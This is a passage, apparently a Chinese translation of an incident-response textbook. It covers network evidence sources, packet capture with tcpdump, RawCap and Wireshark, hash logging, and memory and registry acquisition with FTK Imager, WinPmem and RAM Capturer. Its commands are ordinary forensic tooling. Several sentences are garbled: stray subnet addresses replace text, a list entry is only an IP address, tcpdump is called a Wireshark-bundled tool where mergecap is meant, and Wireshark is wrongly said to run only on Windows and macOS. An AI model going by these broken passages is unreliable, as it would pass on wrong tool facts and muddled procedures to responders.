防火墙已经从一种简化的路由和阻塞技术,发展为提供对进出网络流量进行深入分析的平台。下一代防火墙通常将拒绝/允许规则集与入侵检测系统(IDS)或入侵防御系统(IPS)结合起来,并控制网络访问应用程序。这为事件响应过程中提供了一个重要的证据来源。
从防火墙获取证据在很大程度上依赖于制造商和使用的具体型号。事件响应人员应充分了解所使用防火墙的功能集和可以获取的特定数据,这是他们准备工作的一部分。尽管不同厂商和型号之间的功能有所不同,但有一些关键证据点几乎是通用的:
-
连接日志:连接日志提供了内部和外部系统之间连接的源 IP 地址、目标 IP 地址和协议信息。这在确定内部系统是否曾与对手控制的系统接触或可能被控制时至关重要。除了被允许的连接外,日志还可能提供被拒绝连接的情况。对手常用的一个技巧是使用工具尝试连接常用的知名端口。如果这些端口对外部连接关闭,日志中会显示拒绝条目。连续的拒绝事件跨越多个端口,通常表明存在侦察活动。
-
远程访问日志:防火墙通常作为虚拟私人网络(VPN)的集中器,用于远程访问。如果远程用户通过恶意软件感染,他们可以通过 VPN 将感染带入内部网络。远程访问日志会显示连接的系统及其连接时间。这可能帮助事件响应者关联活动,确定是否是远程用户成为感染源。
Web 应用防火墙
一种特殊类型的防火墙是Web 应用防火墙(WAF)。该设备或软件位于公共互联网和 Web 应用程序之间,帮助组织保护应用程序免受外部攻击。WAF 策略可以非常迅速地进行更改,以应对诸如拒绝服务攻击(DoS)或对手试图破坏 Web 应用程序基础设施的攻击。从证据角度来看,WAF 提供了来自互联网的连接日志文件,并包含如 HTTP 请求类型和访问资源的系统信息等数据点。这是尝试或成功利用 Web 服务器和 Web 应用程序的一个良好证据来源。
Web 代理服务器
对手经常利用脚本语言,如 Microsoft Visual Basic 或 PowerShell,下载次级漏洞包或恶意软件。这些脚本通常包含指向漏洞或恶意软件的 URL。对手使用 URL 而非 IP 地址,因为 IP 地址可以通过域名注册轻松更改,这使他们能够在不更改脚本的情况下更改基础设施。
使用 Web 代理服务器进行 HTTP 和 HTTPS 请求的组织将会记录内部网络上任何访问外部网站的系统。从这里,他们可能能够识别出被下载的恶意软件或漏洞包的位置。通过 C2 流量,他们可能会获得更多的洞察,C2 流量也可能采用与恶意软件相似的战术。
由于攻击的检测通常需要数月时间,因此事故响应人员必须能够查看跨越几周甚至几个月的活动历史记录。鉴于代理请求的相对较小,即便只是日期、时间、请求系统和访问的网址,也能提供一项重要的证据,这些证据可能是其他方式无法获得的。
NetFlow
NetFlow 由思科系统公司(Cisco Systems)于 1996 年首次设计,是一种出现在网络设备(如交换机和路由器)中的功能,允许网络管理员监控网络内的流量。NetFlow 并非严格意义上的安全工具,但在发生安全事件时,它能为事故响应人员提供大量数据。NetFlow 通过 UDP 协议由网络设备发送到一个集中收集点,通常称为NetFlow 收集器。
在安全背景下,NetFlow 提供了深入了解系统内部流量的视角,揭示了它们如何相互通信。这通常被称为10.10.2.0/24子网。从那里,它们可能会尝试跳转到10.10.1.0/24子网上的文件服务器。一旦到达那里,它们就可以获取机密数据并将其传回被攻陷的系统进行外泄。交换机将 NetFlow 数据转发给收集器,其中包括 IP 地址、协议和数据大小。这些数据对于为事件响应分析员提供他们通常无法获取的详细信息至关重要:

图 5.2 – NetFlow 图示
NetFlow 数据是有限的,取决于配置为向 NetFlow 服务器发送数据的设备类型。通常,NetFlow 包含源和目标 IP 地址、源和目标端口、协议以及最终发送的流量大小。即使只有这些有限的信息,分析师也能获得有关对手活动的洞察,如潜在的横向移动或数据外泄。
配置 NetFlow 取决于网络组件的类型和制造商。此外,根据预算和其他资源的不同,可以利用各种收集器和分析工具。将 NetFlow 分析纳入整体网络操作的一个优势在于,它不仅为事件响应团队提供数据,而且在日常网络操作中也非常有用,尤其是在追踪延迟或其他通信问题方面。由于其双重用途,作为整体网络操作的一部分更容易为其辩护。
数据包捕获
捕获网络流量对于全面理解事件至关重要。能够识别潜在的 C2 IP 地址流量可能会提供有关感染主机的恶意软件类型的更多信息。在其他类型的事件中,CSIRT 成员可能能够识别外部威胁行为者利用的潜在数据外泄方法。
一种方法是设置名为192.168.1.0/24的子网,tap 应放置在主机和交换机之间。这通常涉及在主机和交换机之间放置一个系统。
另一种选择是配置交换端口分析器(SPAN)端口。在这种配置中,离受损主机最近的交换机会启用端口镜像。这样,交换机所在整个段的流量将被发送到镜像端口上的系统。
最后,一些网络设备有内建的应用程序,如tcpdump,可以用来捕获流量以供进一步分析。这可能是最快的选择,因为它不需要物理访问网络或交换机,并且可以远程设置。但这种方法的缺点是交换机上的存储可能无法支持大容量的捕获文件,且额外的负载可能增加未捕获某些数据包的可能性。
tcpdump
tcpdump是一个专门设计用于数据包捕获的命令行工具。tcpdump通常包含在 Linux 发行版中,并且在许多网络设备上都能找到。对于这些设备中的许多,tcpdump必须以 root 用户或具有 root 权限的身份运行,因为它需要监控网络流量。相关文档可以在www.tcpdump.org/找到。要使用tcpdump进行数据包捕获,可以按照以下步骤操作:
-
要访问基本帮助菜单,请在命令提示符中输入以下内容:
arkime@arkime: :~$ tcpdump -h
该命令将产生以下帮助菜单:

图 5.3 – tcpdump 帮助菜单
默认情况下,tcpdump会捕获所有可用接口上的流量。运行以下命令可以列出tcpdump能够捕获流量的所有接口:
arkime@arkime::~$ tcpdump -D
以下截图显示,在此情况下,ens160(以太网)接口和lo(回环)接口可以用于捕获流量:

图 5.4 – tcpdump 捕获接口
-
要在位于
ens33的以太网接口上进行基本捕获,并使用普通的详细程度,请输入以下命令:arkime@arkime:~$ sudo tcpdump -i ens160 -v
-i选项告诉tcpdump在哪个接口上执行数据包捕获。在这种情况下,它是在以下以太网接口上:ens160。-v选项设置数据包捕获的详细程度。在这个例子中,详细程度设置得比较低。若要查看更多数据,可以将该选项设置为-vvv,以获得更详细的数据包信息。以下截图显示了命令显示的信息:

图 5.5 – tcpdump 命令输出
虽然这种方法可以确定流量是否经过该接口,但由于数据包出现在屏幕上的速度非常快,单个数据包信息对分析师来说是无用的。为了使数据包捕获有用,建议将文件输出,以便稍后使用数据包分析工具(如Wireshark)进行检查。本章稍后会详细讨论 Wireshark,并在第 9 章中更详细地介绍。
-
要配置
tcpdump将数据包捕获输出到文件,可以使用以下命令:arkime@arkime:~$ sudo tcpdump -i ens160 -vvv -w ping_capture
PING 命令
正在执行8.8.8.8。
该命令告诉 tcpdump 捕获网络流量并将文件写入捕获。与之前的捕获不同,屏幕上不会显示任何流量。
- 要停止捕获,按 Ctrl + C,这将生成以下信息:

图 5.6 – tcpdump 输出
- 导航到根目录后,文件可以通过 Wireshark 等网络分析工具打开,如下所示:

图 5.7 – Wireshark 数据包捕获分析
tcpdump 还可以配置为将捕获集中在特定的源或目标 IP 地址和端口上。例如,如果事故响应分析师需要收集来自特定主机(IP 地址为 192.168.10.54)的数据包,以下 tcpdump 命令将产生所需结果:
arkime@arkime:~$ sudo tcpdump -i ens33 src host 192.168.10.54
可以使用以下命令将发送到某个目标地址(如已知的 C2 服务器的 IP 地址)的数据包与后台网络流量分开:
arkime@arkime:~$ sudo tcpdump -i ens33 dst host 162.4.5.23
tcpdump 是一个强大的工具,拥有许多选项。建议事故响应分析师检查并将其各种功能整合到他们的工具包中。
WinPcap 和 RawCap
在发生事故时,可能需要从 Windows 系统中获取数据包捕获。在像被攻破的 web 服务器或应用服务器这样的事件中,Windows 系统本身没有原生的应用程序来进行数据包捕获。Windows 系统上有几种数据包捕获工具。可以使用的第一个工具是WinPcap。这个工具通常被认为是 Windows 系统上数据包捕获的标准,并可以在www.winpcap.org/免费下载。这个工具从取证角度来看,缺点是必须在系统上安装。这可能会使取证分析复杂化,因为系统的任何更改都必须彻底记录。出于这个原因,确保高风险系统(如 web 服务器、文件服务器和应用服务器)已经安装 WinPcap,是一个好的预备步骤。
另一个供事件响应分析员使用的选项是像RawCap这样的工具。RawCap 具有与 WinPcap 相同的基本功能,但不需要在本地系统上安装它。RawCap 可以轻松地从连接到系统的 USB 设备上运行。使用 RawCap 执行数据包捕获的过程如下:
-
以管理员身份启动 Windows 命令提示符。
-
在命令提示符中,导航到包含
RawCap.exe文件的文件夹。若要查看可用选项,输入以下命令:D:\>RawCap.exe -help
该命令将生成以下输出:

图 5.8 – Rawcap.exe 菜单
输出会显示一个接口列表。RawCap 的一个优势是,即使从 USB 设备上运行,事件响应分析员也可以在每个接口上执行数据包捕获。在此示例中,捕获将会在标有数字 0 的以太网接口上执行。
-
要开始数据包捕获,RawCap 需要指定流量应捕获的网络接口,以及输出捕获数据包的输出文件。要捕获无线接口上的流量并将其输出到名为
RawCap.pcap的文件中,使用以下命令:C:\ProgramData\chocolatey\bin\RawCap.exe 0 RawCap.pcap
该命令会产生以下输出:

图 5.9 – RawCap 数据包捕获的输出
- 按下 Ctrl + C 将停止捕获。捕获文件
RawCap.pcap会保存到与RawCap.exe文件相同的目录中。然后,这个文件可以通过像 Wireshark 这样的工具打开进行进一步分析:

图 5.10 – 在 Wireshark 中分析 RawCap 文件
现在我们已经介绍了 Wireshark,我们将探讨该工具如何用于捕获网络流量。
Wireshark
tcpdump 或像 RawCap、Wireshark 这样的工具是基于图形界面的工具,除了数据包捕获外,还包括分析功能。因此,Wireshark 在事件发生时可能不容易快速部署,因为该程序必须先安装。此外,Wireshark 仅支持 Windows 或 macOS 系统。在 Linux 系统上安装 Wireshark 需要更多的努力。Wireshark 相较于命令行工具的一个明显优势是,事件响应分析员可以在捕获数据包时对流量进行详细检查。Wireshark 可以在系统本身或 USB 驱动器上运行。安装后,必须以管理员身份运行。使用 Wireshark 执行数据包捕获的过程如下:
- 第一步是选择一个 Wireshark 将捕获流量的接口:

图 5.11 – Wireshark 捕获接口
在截图中,只有一个接口似乎在处理流量。捕获将会在 Ethernet0 接口上执行。
- 双击接口将启动数据包捕获。如前所述,与 tcpdump 或 RawCap 不同,实际捕获的内容将输出到屏幕上,便于立即分析:

图 5.12 – Wireshark 捕获视图
- 要停止捕获,请点击面板左上角的红色框。然后可以保存文件以供进一步分析。
另一个 Wireshark 附带的工具,且在证据收集过程中非常有用的是tcpdump,或 RawCap。它在事件响应分析员从多个来源获取数据包捕获时非常有用,特别是当他们需要检查特定主机的流量时。要访问 mergecap 的菜单,请在命令提示符中输入以下内容:
arkimie@arkime:~$mergecap -help
该命令产生以下帮助信息:

图 5.13 – mergecap 帮助菜单
要合并多个数据包捕获文件,可以使用以下命令:
arkime@arkime:~$mergecap -w switches.pcap switch1.pcap switch2.pcap switch3.pcap
通过将三次数据包捕获的输出合并成一个文件,事件响应分析员可以检查跨多个网络路径的更广泛活动。例如,如果分析员正在寻找来自未知主机到外部 C2 服务器的流量,他们可以合并整个网络范围内的捕获记录,然后搜索该 IP 地址,而不是单独检查每个数据包捕获。
证据收集
为了正确检查日志文件和其他网络数据(如数据包捕获),通常需要将它们从日志源移走并离线检查。与任何证据来源一样,日志文件或数据包捕获在转移过程中必须小心处理,以确保不会被破坏或修改。一个简单的解决方案是立即将证据传输到 USB 驱动器或类似的可移动介质上。然后,可以在检查之前为证据创建哈希值。
网络证据的获取,如数据包捕获或日志文件,应该进行详细记录。事件响应人员可能会从整个网络的多个来源获取日志文件和数据包捕获。因此,他们应确保能够追溯每一项证据的来源,以及收集证据的日期和时间。可以在网络证据日志表上记录这些信息,并为每一项证据填写条目。例如,参见以下条目:

图 5.14 – 网络证据收集条目
日志条目记录了以下必要信息:
-
文件名:每个日志文件或数据包捕获文件应具有唯一的名称。在 CSIRT 使用的程序中,应有一个不同类型证据文件的命名约定。
-
描述:文件的简要描述。除非文件特别独特且需要详细描述,否则无需提供过多细节。
-
哈希:关于哈希的全面概述将在后面的章节中讨论。目前,简而言之,哈希是一种单向算法,用于为文件提供数字指纹。这个哈希将在收集阶段和分析阶段后记录,以证明文件在分析过程中没有被修改。计算哈希有几种方法。在本例中,可以使用在 Ubuntu 上安装的 md5sum 哈希程序计算 MD5 哈希。md5sum 有几个不同的选项,可以通过命令行访问。要查看帮助菜单,请输入以下命令:
arkime@arkime:~$md5sum --help
这将产生以下帮助菜单:

图 5.15 – md5sum 帮助菜单
通过输入以下命令,可以计算来自交换机的数据包捕获的 MD5 哈希值:
arkime@arkime:~$md5sum ping_capture
这将产生以下输出:

图 5.16 – md5sum 文件计算
-
192.168.0.110IP 地址。 -
采集日期/时间:记录文件被捕获的日期和时间。通常,这与停止捕获的日期和时间相同。如果是长时间的数据包捕获,可以记录捕获的开始和结束时间。
设置时间标准
在事件发生前,确定使用的时区非常重要。从证据的角度来看,只要在整个事件调查过程中时区保持一致,时区本身并不重要。
-
采集者:确保标明采集文件的人员。
-
方法:指明用于捕获文件的工具。
-
存储驱动器:一旦证据被捕获,将其转移到证据存储驱动器。这也应该被记录。
一旦收集完成,应填写包含证据文件的外部介质的交接单。接下来,可以对这些文件进行分析。
总结
与事件响应者相关的证据不仅仅位于被入侵主机的硬盘上。环境中分布着许多网络设备提供的丰富信息。通过适当的准备,CSIRT 可以利用这些设备提供的证据,使用诸如 SIEM 这样的解决方案。CSIRT 人员还可以通过各种方法和工具捕获网络流量,以供后续分析。然而,所有这些技术都受到法律和政策影响,CSIRT 人员以及整个组织需要应对这些问题。通过为网络证据收集的法律和技术挑战做好准备,CSIRT 成员可以利用这些证据,进一步接近确定事件根本原因并让组织恢复到正常运作的目标。
本章讨论了几个可供事件响应分析员使用的证据来源。网络设备的日志,无论是报告给 SIEM 还是通过其他方法,都能让你了解网络中发生了什么。数据包捕获提供了网络流量确切性质的详细信息。最后,分析员必须准备以法医可靠的方式获取这些证据来源。
下一章的重点将从网络证据获取转向从基于主机的系统中获取易失性数据。
问题
-
以下哪些项目可能是网络证据的来源?
-
交换机
-
路由器
-
防火墙
-
上述所有
-
-
网络图在识别可以获取网络证据的潜在区域中非常重要。
-
正确
-
错误
-
-
以下哪项不是网络取证证据采集工具?
-
RawCap
-
Wireshark
-
WinPcap
-
LogBeat
-
-
在进行证据获取时,记录文件的哈希值并不重要。
-
正确
-
错误
-
进一步阅读
-
Wireshark 培训:
www.chappell-university.com/ -
思科 IOS NetFlow 介绍 - 技术概述:
www.cisco.com/c/en/us/products/collateral/ios-nx-os-software/ios-netflow/prod_white_paper0900aecd80406232.html
第六章:获取基于主机的证据
主机系统往往是恶意行为的主要目标。主机系统可能成为攻击者获得网络立足点、进行进一步攻击的枢纽,或作为威胁行为者的最终目标。因此,事件响应分析师应该做好准备调查这些系统。现代操作系统,如微软 Windows,在应用程序执行时、文件更改时或添加用户账户时,会创建各种证据性产物。这些更改都会留下活动痕迹,供事件响应分析师评估。随着存储和内存的不断扩大,即使是最低成本的消费者系统,事件响应分析师可用的数据量也在不断增加。常见的系统通常制造时配备了大量内存和存储空间,容量达到 TB 级别;这些数据能够帮助事件响应人员确定根本原因。因此,事件响应分析师应该准备从系统中获取不同类型的证据,以便进一步分析。
本章将涵盖以下主题:
-
准备工作
-
易失性顺序
-
证据获取
-
获取易失性内存
-
获取非易失性证据
准备工作
在准备方面,事件响应分析师应确保拥有必要的工具来获取基于主机的证据。本章将讨论的技术不依赖于任何高度专业化的技术,而是依赖于可以以很低成本甚至免费获得的工具。选择用于获取证据的工具至关重要,这些工具应该来自信誉良好的来源,已经通过其他 CSIRT 人员验证有效,并且在使用前已验证其有效性。除了软件外,所需的额外硬件仅为外部硬盘驱动器和常见的台式计算机。
在支持企业环境时,事件响应人员应该对常见部署的系统类型有一个清晰的理解。例如,在一个严格使用微软操作系统的企业中,可用的工具应该能够支持多个版本的微软操作系统。在其他情况下,事件响应人员可能会支持一个微软和 Linux 系统比例为 80/20 的企业;因此,事件响应人员应该准备好支持获取证据的工具和技术。
许多在本章讨论的工具和技术需要管理员权限。事件响应人员应提供执行这些任务所需的凭据。值得注意的是,分析人员应仅使用现有帐户,并且在可能被入侵的系统中添加帐户可能会使证据在司法程序中不可接受。其中一项技术是为事件响应分析人员提供仅在事件期间启用的个人凭据。这允许组织将凭证的合法使用与可能的恶意使用分开。这也使事件响应团队能够重现其行动。值得注意的是,高度技术的对手通常会在主动威胁期间监视他们正在攻击的网络,以确定是否被检测到。因此,这些凭据不应表明它们与事件响应分析人员或其他调查可能违反的人员有关联。
挥发性的顺序
主机系统上并非所有证据都相同。挥发性用于描述主机系统上的数据在注销或断电后如何维持。如果系统断电将丢失的数据称为挥发性数据。挥发性数据可以是 CPU 中的数据、路由表或 ARP 缓存。在调查如恶意软件感染的事件中,运行系统的内存是至关重要的。恶意软件在系统内存中留下许多关键证据,如果丢失,可能会导致事件响应分析人员无法进行有效调查。这可以包括注册表数据、命令历史记录和网络连接等工件。
非易失性数据是存储在硬盘上的数据,在关机后通常仍会保留。非易失性数据包括主文件表(MFT)条目、注册表信息和硬盘上的实际文件。虽然恶意软件在内存中创建证据,但非易失性存储器中仍然存在具有证据价值的项目。以下图表显示了数字证据不同挥发级别,在确定获取顺序时应考虑这些级别:

图 6.1 - 数字证据挥发性
在下一节中,我们将学习如何收集证据。
证据获取
有各种方法不仅用于访问潜在的证据源,还用于确定可以进行的获取类型。为了定义这些方法,重要的是要清楚了解可以使用的获取方式和类型。
-
本地:对于大多数企业来说,能够直接访问正在调查的系统通常是一种奢侈。不过,很多情况下,事件响应分析师或其他工作人员可以直接物理访问系统。本地采集通常可以通过 USB 或其他设备执行,某些情况下,也可以使用系统本身进行采集。
-
远程:远程采集是指事件响应分析师利用工具和网络连接进行证据采集。如果事件响应分析师面临地理上的挑战,远程采集是一个显而易见的选择。如果事件响应分析师无法立即到现场,这种方法也非常有用。(下一章将重点介绍远程证据采集。)
-
实时采集:实时采集证据是指事件响应分析师从当前已开机并运行的系统中获取证据。本章将展示的一些技术必须在实时系统上部署(例如,捕获运行中的内存)。在高可用性环境中,完全从实时系统中获取数字证据可能是必要的技术,因为可疑系统不能下线。这些技术使事件响应分析师能够采集并分析证据,判断系统是否被攻击。
-
离线采集:离线采集方法通常由执法机构使用,用来保护硬盘上的数字证据。该技术要求系统关闭并移除硬盘。一旦访问硬盘,专门的工具会被用来采集硬盘证据。严格依赖离线采集有一些缺点。首先是易失性内存的丢失。其次,获取可疑系统的硬盘、制作镜像并处理该镜像以进行调查可能非常耗时。这可能会导致事件响应人员在超过 24 小时内无法了解事态进展。
根据事件类型以及时间或地理位置的限制,事件响应分析师应该准备执行这些类型的证据采集。最佳的情况是,计算机安全事件响应团队(CSIRT)能够在任何可疑系统上执行实时和离线采集。这能提供最多的证据,供进一步分析。就准备而言,分析师应该具备必要的工具和经验,通过这些方法进行证据采集。
要执行本地采集,事件响应分析员需要一个外部硬盘或 USB 驱动器,具备足够的空间用于捕获至少被调查系统的运行内存,以及其他必要的文件。为了确保所收集证据的完整性,建议将 USB 驱动器配置为两个分区。第一个分区应包含执行证据采集所需的工具,而第二个分区应作为证据的存储库。这还允许事件响应分析员将证据转移到更持久的存储形式,然后清除证据分区,而无需重新安装所有工具。
证据收集程序
数字取证与其他法医学科(如痕迹证据)之间存在许多相似之处。关键的相似之处在于,获取证据的组织需要有一个稳健、可复现且文档化良好的程序。以下是一些收集数字证据的正确指南:
-
拍摄系统和现场照片:一项节省时间的重要设备是小型数码相机。尽管拍摄系统现场可能显得有些多余,但如果事件响应人员所采取的行动进入法庭,拥有照片将有助于事件的还原。然而,需要注意的是,务必使用单独的数码相机。使用手机可能会在诉讼或刑事程序中暴露该设备。最佳方法是在方便的时间和地点拍摄所需的所有照片,并将其转移到永久存储中。
-
确定系统是否已开机:如果系统已经开机,保持开机状态。如果系统处于关机状态,请勿开机。开关机时会发生一些变化。如果系统已开机,易失性内存将可供捕获。此外,在启用全盘加密的情况下,保持系统开机可以让响应人员仍然能够获取逻辑磁盘分区。如果系统处于关机状态,保持此状态可以确保非易失性内存中的任何证据得到保留。如果事件响应人员认为该系统可能对其他系统构成威胁,可以通过断开网络连接将其隔离。
-
获取运行中的内存:这是一个至关重要的证据,可以提供大量关于正在运行的进程、使用中的动态链接库(DLL)和网络连接的数据。因此,获取内存的程序将在本章中详细讨论。
-
获取注册表和日志文件:虽然这些文件本质上是非易失性的,但迅速获取它们是有益的,尤其是在调查恶意软件或其他攻击手段时。
-
从系统背面拔掉电源:如果系统是笔记本电脑,还要拆下电池。这样可以保留系统的状态。
-
拍摄系统背面或底部以获取型号和序列号:此程序允许事件响应分析师获取对保管链必要的任何信息。
-
拆下系统的盖子并拍摄硬盘以获取型号和序列号:再次有助于重建保管链。
-
从系统中取出硬盘并将其放入防静电袋中:将硬盘安全地放入可密封的信封或盒子中。防静电袋将保护硬盘,而包装应确保任何尝试打开它的行为都会显而易见。这可以通过专门设计的证据袋或可以用胶带密封的简单邮寄信封来实现。扣押分析师应在任何封条上签字。此外,在包装外部的某处标明事件编号、证据编号、日期、时间和扣押分析师。
-
记录所有操作:确保记录日期和时间,以及执行操作的事件响应分析师。事故报告通常是任何响应的最后阶段。因此,在分析师能够记录他们的操作之前,可能会过去几个小时甚至几天。因此,在最初扣押期间拍摄的照片和笔记在重建事件序列时至关重要。
在下一节中,我们将看看如何获取易失性内存。
获取易失性内存
传统数字取证,或现在通常称为死盒取证,侧重于从关闭系统中取出的硬盘驱动器作为主要证据来源。这种方法在处理诸如欺诈或儿童剥削等犯罪活动时效果很好,其中可以以取证合规的方式发现图像文件、文字处理文档和电子表格。这种方法的问题在于,为了正确获取这些证据,系统必须关闭电源,从而破坏了可能存在于易失性内存中的任何潜在证据。
与传统犯罪活动相反,事件响应人员会发现,安全事件的大量证据包含在潜在受损系统的内存中。当检查已感染恶意软件或通过使用诸如 Metasploit 等常见平台进行利用的系统时,这一点尤为真实。
关键的痕迹证据常常存在于被攻陷系统的运行内存中。因此,在关闭系统并拆卸硬盘之前,必须先获取运行内存进行处理。有多个免费的和商业化的工具可以供事件响应分析员用来获取运行内存。使用哪种工具通常取决于分析阶段使用的技术和工具,分析阶段的内容在 第十章 中讨论。
获取运行内存有两种方法。首先,可以通过直接连接到嫌疑系统的 USB 设备或其他可写介质来本地获取内存。另一种获取内存的方法是通过远程连接。这可以通过使用专门的软件,通过网络连接进行获取(远程获取技术将在下一章中讨论)。
如果事件响应分析员可以物理接触到潜在被攻陷的系统,他们可以选择本地获取内存和其他证据。这涉及到使用从 USB 设备或类似的可移动介质中运行的工具,连接到潜在被攻陷的系统。然后,运行这些工具并收集证据。本地获取通常是与没收系统的硬盘和其他证据一起进行的。有多个工具可以用于本地获取。本书将介绍三种此类工具——Exterro 的 FTK Imager、Velocidex 的 WinPmem 和 Belkasoft 的 RamCapturer。
在以这种方式获取内存时,建议使用一个具有足够容量的外部驱动器来存储多个文件。事件响应分析员应使用一个具有两个分区的 USB 设备。第一个分区包含执行内存获取所需的工具,而第二个分区则存储证据文件。这样,事件响应分析员可以确保证据不会与工具混合。
FTK Imager
Exterro 的 FTK Imager 是一个 Windows 软件平台,执行多种成像任务,包括获取系统的运行内存。该软件可以在 www.exterro.com/ftk-imager 下载。让我们来看一下这个平台:
-
下载后,将可执行文件安装到 USB 驱动器的 Tools 分区中。
-
打开
FTK Imager文件夹并以管理员身份运行可执行文件。(FTK Imager 需要使用驱动程序,因此需要管理员权限。)以下窗口将会出现:

图 6.2 – FTK Imager 主窗口
- 点击 File,然后选择 Capture Memory。这将打开以下窗口:

图 6.3 – FTK Imager 内存捕获
-
浏览到
Laptop1或Evidence Item 1。另一种有用的选项是使用系统名称,如图 6**.3所示。还要勾选Include pagefile复选框。页面文件中可能没有具有证据价值的信息,但在调查过程中可能会变得重要(页面文件将在第十章中讨论)。 -
最后,可以选择创建一个 AD1 文件;这是 Exterro 的专有文件格式。这个文件用于使用 FTK 分析程序分析捕获的映像。对于本书的目的,标准输出足以进行后续分析。
-
设置好配置细节后,点击Capture Memory,然后将显示以下屏幕:

图 6.4 – FTK Imager 内存捕获进度
- 在 FTK Imager 转储 RAM 后,它将提取页面文件,如下图所示:

图 6.5 – FTK Imager 页面文件提取
- 运行此工具后,FTK Imager 将指示内存捕获是否成功:

图 6.6 – FTK Imager 内存捕获成功
检查证据驱动器的证据分区,能看到两个文件,如下图所示:

图 6.7 – FTK Imager 输出文件
内存文件大小
根据系统的不同,.mem文件可能与目标系统的内存不完全匹配。在这种情况下,目标系统有 16 GB 的物理内存,但.mem文件大约大 2 GB。这可能发生在使用虚拟内存的操作系统中。在其他情况下,实际的 RAM 文件可能会更小。这是预期中的正常情况。
FTK Imager 的一个缺点是它需要对驱动程序有较多的访问权限,并且有许多功能。这使得将工具从一个系统移动到另一个系统变得困难,也显著降低了在脚本中使用 FTK Imager 的能力。
WinPmem
FTK Imager 的对立工具是 WinPmem。它是一个单一的命令行可执行文件,可以像 FTK Imager 一样执行。主要的区别在于,这个工具更容易进行脚本编写,因此可以一次性部署到多个系统,或者与其他证据收集工具一起使用。
WinPmem 是一个免费的工具,可以在github.com/Velocidex/WinPmem上获得。
下载后,可将可执行文件放置在分析师需要的位置。WinPmem 是一个命令行工具,因此我们来看看捕获运行系统内存所需的具体命令:
- 要获取目标系统的物理内存,请以管理员身份打开 Windows 命令提示符实例。输入
E:\winpmem_mini_x64_rc2.exe -help,将显示以下帮助菜单:

图 6.8 – WinPmem 帮助菜单
-
接下来,通过运行以下命令配置 WinPmem 以获取系统的内存:
E:\winpmem_mini_x64_rc2.exe Acc_LT09.raw -
上述命令告诉 WinPmem 获取原始内存并将其输出到名为
Acc_LT09.raw的文件,该文件将创建在正在使用的 USB 驱动器的证据分区中。输入命令后,按下 Enter 键将生成以下内容:

图 6.9 – WinPmem 输出
- 然后 WinPmem 会遍历整个内存结构。在此过程中,它将生成以下输出:

图 6.10 – WinPmem 输出
WinPmem 提供了一个可以轻松复制并部署到多个系统的单一可执行文件的灵活性。显而易见的缺点是缺乏图形用户界面(GUI)。FTK Imager 和 WinPmem 之间的一个不错的折中选择是 Belkasoft 的 RAM Capturer。
RAM Capturer
RAM Capturer 是由软件公司 Belkasoft 提供的免费工具。RAM Capturer 是一个简单易用的工具,像 FTK Imager 和 WinPmem 一样,它可以通过 USB 启动运行。RAM Capturer 将 WinPmem 的简便性与 FTK Imager 的易用 GUI 相结合:
- 右键点击 RAM Capturer 可执行文件并选择 以管理员身份运行。这将会显示以下窗口:

图 6.11 – RAM Capturer 启动窗口
- 获取内存所需的唯一输入是指定存放内存镜像的文件夹路径。一旦设置了输出路径,点击 Capture! 按钮并让它运行:

图 6.12 – RAM Capturer 进度
- 一旦 RAM Capturer 完成,以下消息将出现:

图 6.13 – RAM Capturer 完成
在考虑内存获取工具时,最佳的方法是尽可能高效地捕获尽可能多的数据。像 FTK Imager 这样的工具非常可靠,不仅可以获取内存,还能获取其他关键证据。然而,有时这可能不可行,响应人员将不得不使用一个带有轻量级工具(如 RAM Capturer)的 USB 键。最佳选择是确定将用于检查证据的法医工具类型,然后选择合适的工具来获取内存。
在获取内存时,这些工具的一个关键特点是,它们也可以在响应人员无法物理接触嫌疑系统的情况下被利用。
虚拟系统
事件响应分析师应准备应对的其他系统是虚拟机。虚拟系统相对于物理系统的一个明显优势是,它们能够通过执行系统快照或简单地暂停系统来保持当前状态。这使得事件响应分析师只需将整个文件复制到证据驱动器上,供后续分析。建议分析师确保在复制前后对虚拟机的每个组件进行哈希,以确保证据的完整性。
像 VMware 这样的流行虚拟化软件的一个关键特点是,虚拟机使用两个文件来处理运行时内存。第一个文件是虚拟内存(VMEM)文件。VMEM 文件是虚拟机的 RAM 或物理内存。第二个文件是VMware 暂停状态(VMSS)文件。VMSS 文件包含虚拟机在暂停状态时保存的文件。我们来看看这个:
-
要从 VMware 虚拟机中获取运行时内存,暂停系统。
-
其次,将 VMSS 和 VMEM 文件传输到可移动存储介质(如 USB)。VMware 软件通常会在安装过程中包括
Vmss2Core.exe应用程序。该应用程序将 VMSS 和 VMEM 文件合并成一个单一的.dmp文件,可以使用取证工具进行分析。要创建完整的内存捕获,必须同时拥有这两个文件。 -
要创建
.dmp文件,请运行以下命令:C:\Program Files (x86)\VMware\VMware Workstation>vmss2core.exe suspect.vmss suspect.vmem
从这里,响应人员将拥有必要的.dmp文件以进行分析。
获取非易失性证据
尽管内存中运行着大量数据,但从潜在被攻破的系统中获取硬盘数据仍然非常重要。这些设备中包含大量证据,即使是在恶意软件或其他攻击的情况下也是如此。在检查潜在事件时,例如内部恶意行为或数据丢失,硬盘证据变得更加重要。为了确保这些证据能够在法庭上使用,事件响应人员应熟练掌握我们在本章中讨论的程序。
在某些情况下,事件响应人员可能希望在关闭正在运行的系统之前从疑似被攻破的系统中获取两个关键数据。虽然这些数据本身不是易失性的,但注册表键值和事件日志文件可以在调查过程中帮助分析师。从镜像硬盘中获取这些文件主要依赖于影像和处理整个硬盘驱动器所需的时间。因此,有一些技术可以用来获取这些关键证据。
如果分析师能够访问系统,他们可以通过运行以下命令,利用命令行访问日志文件:
C:\wevtutil epl<Log Type> E:\<FileName>.evtx
此命令可以对安全、应用程序和系统日志重复执行。
FTK 获取受保护的文件
FTK Imager 还允许捕获注册表键设置和其他有助于调查的信息。让我们来看看:
-
打开 FTK Imager,并导航到 文件 标签。
-
点击 获取受保护的文件。将出现以下对话框:

图 6.14 – FTK 受保护文件获取
-
点击 浏览... 并导航到证据文件所在的位置。
-
接下来,点击
user、system、SAM和NTUSER.DAT文件的单选按钮。此时可以在成像过程之前进行分析,这使得对事件的响应更加迅速。
CyLR 响应工具
一款开源工具帮助响应人员进行此类获取操作,即 CyLR.exe 应用程序。这个独立的可执行文件可以从 github.com/orlikoski/CyLR/releases 下载并运行,可以从 USB 或系统中运行。它是一个小型应用程序,但可以获取大量证据,这些证据可以作为初步调查的一部分或可能的分类处理来利用。CyLR.exe 的另一个关键特性是,它能够将获取的数据发送到远程系统进行存储或处理,正如我们将在第十二章中演示的那样。
